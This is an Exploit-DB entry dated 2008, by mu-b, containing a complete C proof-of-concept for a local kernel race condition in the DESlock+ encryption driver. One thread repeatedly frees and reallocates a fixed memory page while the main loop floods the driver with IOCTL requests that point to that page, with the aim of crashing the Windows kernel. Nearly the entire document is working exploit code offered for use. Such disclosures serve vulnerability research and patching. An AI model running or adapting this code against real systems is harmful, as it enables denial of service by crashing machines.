Exploit-DB #6497
Description: DESlock+ < 3.2.7 - Local Kernel Race Condition Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2008-09-20
Author: mu-b

Exploit:
/* deslock-probe-race.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * DESlock+ <= 3.2.7 local kernel race condition DoS POC
 * by mu-b - Fri 22 Feb 2008
 *
 * - Tested on: DLMFENC.sys 1.0.0.28
 *
 * race conditions between calls to ProbeForRead/ProbeForWrite
 * and pointer use.
 *
 * "Note that subsequent accesses by the driver to the user-mode
 *   buffer must also be encapsulated within a try/except block;"
 *  - http://msdn.microsoft.com/en-us/library/ms797108.aspx
 *
 * http://www.cctmark.gov.uk/CCTMAwards/DataEncryptionSystemsLtd/tabid/103/Default.aspx
 * - I wonder what that says about CESG CCTM?
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>

#define DLMFENC_IOCTL 0x0FA4204C
#define DLMFENC_FLAG  0xDEADBEEF

#define ARG_SIZE(a)   ((a-(sizeof (int)*2))/sizeof (void *))

struct ioctl_req {
  int flag;
  int req_num;
  void *arg[ARG_SIZE(0x20)];
};

void
hammer_thread (void *zpage)
{
  BOOL result;

  printf ("* [child] using page @0x%08X\n", zpage);

  while (1)
    {
      result = VirtualFree (zpage, 0, MEM_RELEASE);
      if (result == 0)
        {
          fprintf (stderr, "* [child] VirtualFree failed\n");
          exit (EXIT_FAILURE);
        }

      zpage = VirtualAlloc ((LPVOID) 0x41000000, 0x10000,
                             MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      if (zpage == NULL)
        {
          fprintf (stderr, "* [child] VirtualAlloc failed\n");
          exit (EXIT_FAILURE);
        }
    }
}

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  HANDLE hFile, hThread;
  DWORD rlen, dThread, nTotal, nFail;
  LPVOID zpage;
  BOOL result;

  printf ("DESlock+ <= 3.2.7 local kernel race condition DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  fflush (stdout);
  hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  zpage = VirtualAlloc ((LPVOID) 0x41000000, 0x10000,
                        MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if (zpage == NULL)
    {
      fprintf (stderr, "* VirtualAlloc failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("* allocated page: 0x%08X [%d-bytes]\n",
          zpage, 0x10000);

  hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) hammer_thread,
                          zpage, 0, &dThread);
  if (hThread == NULL)
    {
      fprintf (stderr, "* CreateThread failed\n");
      exit (EXIT_FAILURE);
    }

  nTotal = nFail = 0;
  while (1)
    {
      memset (&req, 0, sizeof req);
      req.flag = DLMFENC_FLAG;
      req.req_num = 4;
      req.arg[0] = (void *) zpage;

      nTotal++;
      result = DeviceIoControl (hFile, DLMFENC_IOCTL,
                                &req, sizeof req, &req, sizeof req, &rlen, 0);
      if (!result)
        {
          if (!(nFail++ % 1024))
            {
              char *p_arr[] = { "DESLock", "ProbeForWrite", "a", "races",
                                "dull", "make", "boy" };
              fprintf (stderr, "* total: %d [failed: %d, %f%%] [%13s]\r",
                       nTotal, nFail, (((double) nFail)/nTotal)*100, p_arr[nFail%7]);
              fflush (stderr);
          }
        }
    }

  /* unreachable! */
  printf ("* hmmm, you didn't STOP the box?!?!\n");

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2008-09-20]